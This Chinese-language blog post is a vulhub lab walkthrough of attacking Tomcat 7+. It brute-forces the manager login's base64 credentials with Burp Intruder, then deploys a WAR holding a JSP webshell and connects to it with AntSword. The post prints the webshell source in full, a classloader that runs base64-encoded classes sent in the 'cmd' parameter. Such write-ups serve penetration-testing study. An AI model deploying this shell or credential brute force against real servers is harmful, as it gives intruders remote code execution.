Tomcat7+ Weak Password && Backend Getshell Vulnerability
1.弱口令
vulhub部署好靶机环境以后;
在登录窗口随机输入账号密码,如admin:123456;
打开burp抓包,发现数据包中包含了base64加密以后的账号、密码;
将数据包转发至intruder模块,在position处选择加密后的字符串作为目标
在payloads中选择custom iterator自定义迭代类型,即通过笛卡尔积得到账号密码的所有可能组合
在payload options position1中导入账号字典
在payload options position2中写入冒号:
在payload options position3中导入密码字典
最后在payload processing中Add-Encode-Baese64-encode
取消勾选URL特殊符号编码
Attack;
根据返回结果,长度不一的结果为dG9tY2F0OnRvbWNhdA==,base64解码后为tomcat:tomcat,成功爆破得到账号密码。
2.Getshell
登录到后台后可以通过部署war包进行getshell
war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。
一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。
1.生成一个.jsp木马
<%!
class U extends ClassLoader {
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str) throws Exception{
try{
Class clazz =Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch (Exception e){
Class clazz =Class.forName("java.util.Base64");
Object decoder =clazz.getMethod("getDecoder").invoke(null);
return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls =request.getParameter("cmd");
if(cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
2.生成war包
jar cvf tomcat.war a.jsp
3.部署war包
4.应用列表上成功出现/tomcat
访问tomcat下的jsp文件
xxxxxxxxxxx/tomcat/a.jsp,成功访问,即部署成功。
5.蚁剑连接
xxxxxxxxxxxxx/tomcat/a.jsp
密码为cmd
测试连接,成功访问本机所有文件,拿到shell
参考文章:https://blog.csdn.net/weixin_46601374/article/details/123955886
标签:文件,getshell,payload,Tomcat,tomcat,目录,jsp,复现,war From: https://www.cnblogs.com/arongsec/p/17097454.html